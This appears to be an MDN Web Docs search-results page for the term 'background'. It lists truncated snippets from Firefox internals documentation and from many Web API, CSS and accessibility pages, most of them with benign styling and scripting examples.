...<mrow> <mi>f</mi> <mo stretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>α</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>π</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="
background"] {
background-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
MathML Demo: <mspace> - space
mathml demo: <mspace> - space the
background color of <mspace> elements has been set to yellow for easier viewing.
...l" href="javascript:upwidth();" title="increase width">+</a>/ <a class="control" href="javascript:downwidth();" title="decrease width">-</a> depth <a class="control" href="javascript:updepth();" title="increase depth">+</a>/ <a class="control" href="javascript:downdepth();" title="decrease depth">-</a> <math display="block"> <mstyle displaystyle="true"> <msqrt> <mrow> <mn>3</mn> <mspace style="
background-color: yellow" id="thespace" height="0.1ex" depth="0.1ex" width="0.1em" /> <mi>x</mi> </mrow> </msqrt> </mstyle> </math> </p> javascript content var height=0; var width=0; var depth=0; function upheight() { height++; document.getelementbyid("thespace").setattribute("height",height+".1ex"); } function downheight() { height--; document.getelementbyid("thespace").setattribute("height",...
Preference reference
true, the data is stored as content preference.browser.pagethumbnails.capturing_disabledthe preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadin
backgroundbrowser.search.context.loadin
background controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the
background.browser.urlbar.formatting.enabledthe preference browser.urlbar.formatting.enabled controls whether the domain name including the ...
...controls the position and direction from which popup notifications invoked by nsialertsservice are sliding in.ui.spellcheckerunderlineui.spellcheckerunderline holds the colour which is used to underline words not recognized by the spellchecker.ui.spellcheckerunderlinestyleui.spellcheckerunderlinestyle holds the style which is used to underline words not recognized by the spellchecker.ui.textselect
backgroundui.textselect
background saves the color in which the
background of a text selection in the user interface or in content will be styled.ui.textselectforegroundui.textselectforeground saves the color in which the text of a text selection in the user interface or the content will be styled.ui.tooltipdelayui.tooltipdelay stores the delay in milliseconds between the mouse stopping over an element and t...
nss tech note8
background information on libssl's cache functions and sids nss technical note: 8 27 february 2006 nelson b.
... bolyard here is some
background information on libssl's cache functions and sids.
IAccessibleComponent
method overview [propget] hresult
background([out] ia2color
background ); [propget] hresult foreground([out] ia2color foreground ); [propget] hresult locationinparent([out] long x, [out] long y ); methods
background() returns the
background color of this object.
... [propget] hresult
background( [out] ia2color
background ); parameters
background the returned color is the
background color of this object or, if that is not supported, the default
background color.
nsICacheEntryDescriptor
use the stream transport service to asynchronously read this stream on a
background thread.
...use the stream transport service to asynchronously write to this stream on a
background thread.
nsIDOMWindowUtils
n float ay, in float atopsize, in float arightsize, in float abottomsize, in float aleftsize, in boolean aignorerootscrollframe, in boolean aflushlayout); void processupdates(); obsolete since gecko 13.0 void purgepccounts(); unsigned long redraw([optional] in unsigned long acount); void renderdocument(in nsconstrect arect, in pruint32 aflags, in nscolor a
backgroundcolor, in gfxcontext athebescontext); native code only!
... native code only!renderdocument void renderdocument( in nsconstrect arect, in pruint32 aflags, in nscolor a
backgroundcolor, in gfxcontext athebescontext ); parameters arect aflags a
backgroundcolor athebescontext resumetimeouts() resumes timeouts on this window and its descendant windows.
nsIPushSubscription
quota long the number of remaining
background messages for this subscription, or -1 if exempt.
... quotaapplies() indicates whether this subscription is subject to the
background message quota.
nsIUpdate
showprompt boolean whether to show the update prompt which requires user confirmation when an update is found during a
background update check.
... this overrides the default setting to download the update in the
background.
nsIZipWriter
attempting to perform a synchronous operation on the interface while the
background queue is in progress will throw an ns_error_in_progress exception.
... inqueue boolean true if operations are being performed in the
background queue, or false if
background operations are not in progress.
Accessibility Inspector - Firefox Developer Tools
this is because the accessibility engine runs in the
background when the accessibility features are turned on.
... as of firefox 65, viewing this information for some foreground text that has a complex
background image (e.g.
about:debugging (before Firefox 68) - Firefox Developer Tools
if you change files that stay loaded the whole time, like
background scripts, then you can pick up changes you've made by disabling and then re-enabling the add-on in the about:addons page.
...this does what it says: reloading any persistent scripts, such as
background scripts parsing the manifest.json file again, so changes to permissions, content_scripts, browser_action or any other keys will take effect.
CSS.registerProperty() - Web APIs
.registered { --my-color: #c0ffee;
background-image: linear-gradient(to right, #fff, var(--my-color)); transition: --my-color 1s ease-in-out; } .registered:hover, .registered:focus { --my-color: #b4d455; } .unregistered { --unregistered: #c0ffee;
background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455...
...; } button { font-size: 3vw; } we can add these styles to some buttons: <button class="registered">
background registered</button> <button class="unregistered">
background not registered</button> specifications specification status comment css properties and values api level 1the definition of 'the registerproperty() function' in that specification.
Using the CSS properties and values API - Web APIs
.registered { --registered: #c0ffee;
background-image: linear-gradient(to right, #fff, var(--registered)); transition: --registered 1s ease-in-out; } .registered:hover, .registered:focus { --registered: #b4d455; } .unregistered { --unregistered: #c0ffee;
background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #...
...b4d455; } <button class="registered">
background registered</button> <button class="unregistered">
background not registered</button> .registered { --registered: #c0ffee;
background-image: linear-gradient(to right, #fff, var(--registered)); transition: --registered 1s ease-in-out; } .registered:hover, .registered:focus { --registered: #b4d455; } .unregistered { --unregistered: #c0ffee;
background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455; } button { height: 40vh; display: block; width: 100%; font-size: 3vw; } window.css.registerproperty({ name: '--registered', syntax: '<color>', inherits: false, initialvalue: 'red', }); while ...
CanvasRenderingContext2D.clearRect() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.clearrect(0, 0, canvas.width, canvas.height); erasing part of a canvas this example draws a blue triangle on top of a yellowish
background.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw yellow
background ctx.beginpath(); ctx.fillstyle = '#ff6'; ctx.fillrect(0, 0, canvas.width, canvas.height); // draw blue triangle ctx.beginpath(); ctx.fillstyle = 'blue'; ctx.moveto(20, 20); ctx.lineto(180, 20); ctx.lineto(130, 130); ctx.closepath(); ctx.fill(); // clear part of the canvas ctx.clearrect(10, 10, 120, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2...
Pixel manipulation with canvas - Web APIs
finally, we use the array data to set a
background color and a text in the <div> to display the color.
...); img.onload = function() { ctx.drawimage(img, 0, 0); img.style.display = 'none'; }; var color = document.getelementbyid('color'); function pick(event) { var x = event.layerx; var y = event.layery; var pixel = ctx.getimagedata(x, y, 1, 1); var data = pixel.data; var rgba = 'rgba(' + data[0] + ', ' + data[1] + ', ' + data[2] + ', ' + (data[3] / 255) + ')'; color.style.
background = rgba; color.textcontent = rgba; } canvas.addeventlistener('mousemove', pick); painting pixel data into a context you can use the putimagedata() method to paint pixel data into a context: ctx.putimagedata(myimagedata, dx, dy); the dx and dy parameters indicate the device coordinates within the context at which to paint the top left corner of the pixel data you wish to draw.
console - Web APIs
styling console output you can use the %c directive to apply a css style to console output: console.log("this is %cmy stylish message", "color: yellow; font-style: italic;
background-color: blue;padding: 2px"); the text before the directive will not be affected, but the text after the directive will be styled using the css declarations in the parameter.
... the properties usable along with the %c syntax are as follows (at least, in firefox — they may differ in other browsers):
background and its longhand equivalents.
Using light sensors - Web APIs
you are working in a dark environment'); bodybg.
backgroundcolor="lightgrey"; } else { bodybg.
backgroundcolor="#fff"; } }); this example shows how the api can actually be used in the wild.
...the code alerts the user that they are working in a dark environment and then changes the page's
background to a darker color.
Document.bgColor - Web APIs
the deprecated bgcolor property gets or sets the
background color of the current document.
...the recommended alternative is use of the css style
background-color which can be accessed through the dom with document.body.style.
backgroundcolor.
Document - Web APIs
document.bgcolor gets/sets the
background color of the current document.
... document.mozsetimageelement() allows you to change the element being used as the
background image for a specified element id.
EffectTiming.fill - Web APIs
</div> css content .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0px; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 160px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 2em "lucida grande", "open sans", sans-serif; } while there's other css involved in this example, the part that really matters for our purposes is the css that styles the "box" element that we'...
...that css looks like this: #box { width: 200px; height: 200px; left: 50px; top: 50px; border: 1px solid #7788ff; margin: 0; position: relative;
background-color: #2233ff; display: flex; justify-content: center; } all this does is specify the size, border, and color information, as well as indicate that the box should be centered both vertically and horizontally inside its container.
Element: blur event - Web APIs
event handler property onblur sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.
background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.
background = ''; }); result event delegation there are two ways of implementing event delegation for this event: by using the focusout event, or by setting the usecapture parameter of addeventlistener() to true.
... html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.
background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.
background = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
Element: click event - Web APIs
internet explorer internet explorer 8 & 9 suffer from a bug where elements with a computed
background-color of transparent that are overlaid on top of other element(s) won't receive click events.
... known workarounds for this bug: for ie9 only: set
background-color: rgba(0,0,0,0) set opacity: 0 and an explicit
background-color other than transparent for ie8 and ie9: set filter: alpha(opacity=0); and an explicit
background-color other than transparent safari mobile safari mobile 7.0+ (and likely earlier versions too) suffers from a bug where click events aren't fired on elements that aren't typically interactive (e.g.
Element: focus event - Web APIs
event handler property onfocus sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.
background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.
background = ''; }); result event delegation there are two ways of implementing event delegation for this event: by using the focusin event, or by setting the usecapture parameter of addeventlistener() to true.
... html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.
background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.
background = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
Using files from web applications - Web APIs
you need to provide a visual cue for the focus status of the hidden input field on its label, be it an outline as shown above, or
background-color or box-shadow.
...after creating the new filereader object, we set up its onload function and then call readasdataurl() to start the read operation in the
background.
GlobalEventHandlers.onanimationcancel - Web APIs
v> </div> </div> <div class="button" id="togglebox"> hide the box </div> <pre id="log"></pre> css :root { --boxwidth: 50px; } .main { width: 300px; height: 300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative;
background-color: #2233ff; display: flex; justify-content: center; animation: 5s ease-in-out 0s infinite alternate both slidebox; } the animation's keyframes are described next, plotting a course from the top-left corner of the content box to the bottom-right corner.
GlobalEventHandlers.onanimationend - Web APIs
</div> </div> <div class="button" id="play"> play animation </div> <pre id="log"></pre> css content :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative;
background-color: #2233ff; display: flex; justify-content: center; } the animation sequence is described next.
GlobalEventHandlers.onanimationiteration - Web APIs
div id="text">box</div> </div> </div> <div class="button" id="play"> begin demonstration </div> css :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative;
background-color: #2233ff; display: flex; justify-content: center; animation: 2s ease-in-out 0s infinite alternate both paused slidebox; } the animation's keyframes are defined next; they describe an animation which causes the box to migrate from the top-left corner of the container to the bottom-right corner.
GlobalEventHandlers.onanimationstart - Web APIs
</div> </div> <div class="button" id="play"> play animation </div> <pre id="log"></pre> css content :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative;
background-color: #2233ff; display: flex; justify-content: center; } the animation sequence is described next.
GlobalEventHandlers.onauxclick - Web APIs
the former changes the color of the button
background, while the latter changes the button foreground (text) color.
... var button = document.queryselector('button'); var html = document.queryselector('html'); function random(number) { return math.floor(math.random() * number); } button.onclick = function() { var rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; button.style.
backgroundcolor = rndcol; }; button.onauxclick = function() { var rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; button.style.color = rndcol; } note: if you are using a three-button mouse, you'll notice that the onauxclick handler is run when either of the non-left mouse buttons are clicked.
IdleDeadline.didTimeout - Web APIs
example see our complete example in the article cooperative scheduling of
background tasks api.
... specifications specification status comment cooperative scheduling of
background tasks proposed recommendation ...
IdleDeadline.timeRemaining() - Web APIs
example see our complete example in the article cooperative scheduling of
background tasks api.
... specifications specification status comment cooperative scheduling of
background tasks proposed recommendation ...
Using IndexedDB - Web APIs
form id="search-form"> <div class="button-pane"> <input type="button" id="search-list-button" value="list database content" /> </div> </form> <div> <div id="pub-msg"> </div> <div id="pub-viewer"> </div> <ul id="pub-list"> </ul> </div> css content body { font-size: 0.8em; font-family: sans-serif; } form {
background-color: #cccccc; border-radius: 0.3em; display: inline-block; margin-bottom: 0.5em; padding: 1em; } table { border-collapse: collapse; } input { padding: 0.3em; border-color: #cccccc; border-radius: 0.3em; } .required:after { content: "*"; color: red; } .button-pane { margin-top: 1em; } #pub-viewer { float: right; width: 48%; height: 20em; border: solid #d092ff 0...
....1em; } #pub-viewer iframe { width: 100%; height: 100%; } #pub-list { width: 46%;
background-color: #eeeeee; border-radius: 0.3em; } #pub-list li { padding-top: 0.5em; padding-bottom: 0.5em; padding-right: 0.5em; } #msg { margin-bottom: 1em; } .action-success { padding: 0.5em; color: #00d21e;
background-color: #eeeeee; border-radius: 0.2em; } .action-failure { padding: 0.5em; color: #ff1408;
background-color: #eeeeee; border-radius: 0.2em; } .note { font-size: smaller; } .destructive {
background-color: orange; } .destructive:hover {
background-color: #ff8000; } .destructive:active {
background-color: red; } javascript content (function () { var compat_envs = [ ['firefox', ">= 16.0"], ['google chrome', ">= 24.0 (you may need to get go...
KeyframeEffect.setKeyframes() - Web APIs
element.animate({ opacity: [ 0, 1 ], // offset: 0, 1
backgroundcolor: [ "red", "yellow", "green" ], // offset: 0, 0.5, 1 }, 2000); the special keys offset, easing, and composite (described below) may be specified alongside the property values.
...the property names are specified using camel-case so for example
background-color becomes
backgroundcolor and
background-position-x becomes
backgroundpositionx.
MediaStreamConstraints.audio - Web APIs
art </div> <audio id="audio" autoplay controls></audio><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: true }).then(stream => audioelement.srcobject = stream) ...
...art </div> <audio id="audio" autoplay controls></audio><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: { samplesize: 8, echocancellation: true } })...
MediaStreamConstraints.video - Web APIs
art </div> <video id="video" width="160" height="120" autoplay></video><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: true }).then(stream => videoelement.srcobject = stream) ...
...art </div> <video id="video" width="160" height="120" autoplay></video><br> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120, framerate...
PaintWorklet - Web APIs
<style> textarea {
background-image: url(checkerboard);
background-image: paint(checkerboard); } </style> <textarea></textarea> you can also use the @supports at-rule.
... @supports (
background: paint(id)) {
background-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworkletglobalscope' in that specification.
Screen Wake Lock API - Web APIs
if your app is performing long-running downloads, consider using
background fetch.
... if you app is synchronizing data from a remote server, consider using
background sync.
ServiceWorkerRegistration.sync - Web APIs
the sync property of the serviceworkerregistration interface returns a reference to the syncmanager interface, which manages
background synchronization processes.
... specifications specification status comment web
background synchronization living standard initial definition.
Using Service Workers - Web APIs
updating your service worker if your service worker has previously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the
background, but not yet activated.
...the new version is installing in the
background.
SpeechRecognition - Web APIs
after some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see speechrecognition.start().) when a result has been successfully recognised, the speechrecognition.onresult handler fires, we extract the color that was spoken from the event object, and then set the
background color of the <html> element to that color.
...e; recognition.maxalternatives = 1; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognition' in that specification.
Clearing with colors - Web APIs
note that css sets the
background color of the canvas to black, so when the canvas turns green we know that webgl's magic has worked.
...--> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } // run everything inside window load event handler, to make sure // dom is fully loaded and styled before trying to manipulate it, // and to not mess up the global scope.
Getting started with WebGL - Web APIs
webgl elements can be mixed with other html elements and composited with other parts of the page or page
background.
...in this case, we set the clear color to black, and clear the context to that color (redrawing the canvas with the
background color).
Web Video Text Tracks Format (WebVTT) - Web APIs
within site css video::cue {
background-image: linear-gradient(to bottom, dimgray, lightgray); color: papayawhip; } video::cue(b) { color: peachpuff; } here, all video elements are styled to use a gray linear gradient as their
backgrounds, with a foreground color of "papayawhip".
...in this case, you insert your css rules into the file with each rule preceded by the string "style" all by itelf on a line of text, as shown below: webvtt style ::cue {
background-image: linear-gradient(to bottom, dimgray, lightgray); color: papayawhip; } /* style blocks cannot use blank lines nor "dash dash greater than" */ note comment blocks can be used between style blocks.
Geometry and reference spaces in WebXR - Web APIs
a space will typically have foreground, mid-distance, and
background elements.
...the
background, on the other hand, is usually largely or entirely non-interactive, at least until and unless the user is able to approach it, bringing it into the mid-distance or foreground range.
Keyframe Formats - Web APIs
element.animate({ opacity: [ 0, 1 ], // offset: 0, 1
backgroundcolor: [ "red", "yellow", "green" ], // offset: 0, 0.5, 1 }, 2000); the special keys offset, easing, and composite (described below) may be specified alongside the property values.
...the property names are specified using camel-case so for example
background-color becomes
backgroundcolor and
background-position-x becomes
backgroundpositionx.
Using the Web Animations API - Web APIs
the css version here’s a tumbling animation written in css showing alice falling down the rabbit hole that leads to wonderland (see the full code on codepen): notice that the
background moves, alice spins, and her color changes at an offset from her spinning.
...) { redqueen_alice.updateplaybackrate(redqueen_alice.playbackrate * .9); } }, 3000); but urging them on by clicking or tapping causes them to speed up by multiplying their playbackrate: var gofaster = function() { redqueen_alice.updateplaybackrate(redqueen_alice.playbackrate * 1.1); } document.addeventlistener("click", gofaster); document.addeventlistener("touchstart", gofaster); the
background elements also have playbackrates that are impacted when you click or tap.
Web Audio API - Web APIs
offline/
background audio processing it is possible to process/render an audio graph very quickly in the
background — rendering it to an audiobuffer rather than to the device's speakers — with the following.
...keep playing and experimenting — you can expand on any of these techniques to create something much more elaborate.
background audio processing using audioworkletthe process of creating an audio processor using javascript, establishing it as an audio worklet processor, and then using that processor within a web audio application is the topic of this article.basic concepts behind web audio apithis article explains some of the audio theory behind how the features of the web audio api work, to help you make informed decisio...
Using the Web Storage API - Web APIs
for example: function setstyles() { var currentcolor = localstorage.getitem('bgcolor'); var currentfont = localstorage.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.
backgroundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } here, the first three lines grab the values from local storage.
... function populatestorage() { localstorage.setitem('bgcolor', document.getelementbyid('bgcolor').value); localstorage.setitem('font', document.getelementbyid('font').value); localstorage.setitem('image', document.getelementbyid('image').value); setstyles(); } the populatestorage() function sets three items in local storage — the
background color, font, and image path.
Web Workers API - Web APIs
web workers makes it possible to run a script operation in a
background thread separate from the main execution thread of a web application.
...they will also allow access to push notifications and
background sync apis.
window.cancelIdleCallback() - Web APIs
example see our complete example in the article cooperative scheduling of
background tasks api.
... specifications specification status comment cooperative scheduling of
background tasks proposed recommendation initial definition.
Window.open() - Web APIs
users can be using browser-built-in feature or extensions include opening a link in a new window or not, in the same window, in a new tab or not, in "
background" or not.
...ndows, jakob nielsen, may 1999 when extreme changes in context are explicitly identified before they occur, then the users can determine if they wish to proceed or so they can be prepared for the change: not only they will not be confused or feel disoriented, but more experienced users can better decide how to open such links (in a new window or not, in the same window, in a new tab or not, in "
background" or not).
window.postMessage() - Web APIs
(the other properties have their expected values.) it is not possible for content or web context scripts to specify a targetorigin to communicate directly with an extension (either the
background script or a content script).
... content scripts should use runtime.sendmessage to communicate with the
background script.
XMLHttpRequest - Web APIs
xmlhttprequest.moz
backgroundrequest is a boolean.
... it indicates whether or not the object represents a
background service request.
ARIA: grid role - Accessibility
body { margin: 2rem; font-family: "helvetica neue", sans-serif; } table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nums; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus {
background-color: #f6f6f6; outline: 3px solid blue; } } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].setattribute('tabindex', 0); var trs = document.queryselectorall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(g...
...> </tr> <!-- … additional rows … --> </tbody> </table> css table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nums; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus {
background-color: #f6f6f6; outline: 3px solid blue; } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].setattribute('tabindex', 0); var trs = document.queryselectorall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(gridrow.
Accessibility Information for Web Authors - Accessibility
(...) about one-third complained about low contrast between text and
background." top ten web design mistakes of 2005: 1.
... legibility problems how can a web author establish easily and quickly if the
background color and foreground (text) color in use in his webpages have sufficient color contrast difference and sufficient color brightness difference?
Keyboard-navigable JavaScript widgets - Accessibility
the event handler on the container must respond to key and mouse events by updating the value of aria-activedescendant and ensuring that the current item is styled appropriately (for example, with a border or
background color).
...choose between changing the
background color via something like this.style.
backgroundcolor = "gray"; or add a dotted border via this.style.border = "1px dotted invert".
Custom properties (--*): CSS variables - CSS: Cascading Style Sheets
formal syntax <declaration-value> example html <p id="firstparagraph">this paragraph should have a blue
background and yellow text.</p> <p id="secondparagraph">this paragraph should have a yellow
background and blue text.</p> <div id="container"> <p id="thirdparagraph">this paragraph should have a green
background and yellow text.</p> </div> css :root { --first-color: #488cff; --second-color: #ffff8c; } #firstparagraph {
background-color: var(--first-color); color: var(--second-color); } #second...
...paragraph {
background-color: var(--second-color); color: var(--first-color); } #container { --first-color: #48ff32; } #thirdparagraph {
background-color: var(--first-color); color: var(--second-color); } result specifications specification status comment css custom properties for cascading variables module level 1the definition of '--*' in that specification.
-moz-context-properties - CSS: Cascading Style Sheets
if you reference an svg image in a webpage (such as with the <img> element or as a
background image), the svg image can coordinate with the embedding element (its context) to have the image adopt property values set on the embedding element.
... formal definition initial valuenoneapplies toany element that can have an image applied to it, for example as a
background-image, border-image, or list-style-image.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ fill | fill-opacity | stroke | stroke-opacity ]# examples exposing fill and stroke to an svg image in this example we have a simple svg embedded using an <img> element.
::after (:after) - CSS: Cascading Style Sheets
</span> css .ribbon {
background-color: #5bc8f7; } .ribbon::after { content: "this is a fancy orange box.";
background-color: #ffba10; border-color: black; border-style: dotted; } result tooltips this example uses ::after, in conjunction with the attr() css expression and a data-descr custom data attribute, to create tooltips.
...</p> css span[data-descr] { position: relative; text-decoration: underline; color: #00f; cursor: help; } span[data-descr]:hover::after, span[data-descr]:focus::after { content: attr(data-descr); position: absolute; left: 0; top: 24px; min-width: 200px; border: 1px #aaaaaa solid; border-radius: 10px;
background-color: #ffffcc; padding: 12px; color: #000000; font-size: 14px; z-index: 1; } result specifications specification status comment css pseudo-elements level 4the definition of '::after' in that specification.
::backdrop - CSS: Cascading Style Sheets
/* backdrop is only displayed when dialog is opened with dialog.showmodal() */ dialog::backdrop {
background: rgba(255,0,0,.25); } all full-screen elements are placed in a last-in/first out (lifo) stack in the top layer, which is a special layer in the viewport which is always rendered last (and therefore on top) before drawing the viewport's contents to the screen.
... video::backdrop {
background-color: #448; } the resulting screen looks like this: note the dark grey-blue letterbox effect above and below where the backdrop is visible.
::before (:before) - CSS: Cascading Style Sheets
html <span class="ribbon">notice where the orange box is.</span> css .ribbon {
background-color: #5bc8f7; } .ribbon::before { content: "look at this orange box.";
background-color: #ffba10; border-color: black; border-style: dotted; } result to-do list in this example we will create a simple to-do list using pseudo-elements.
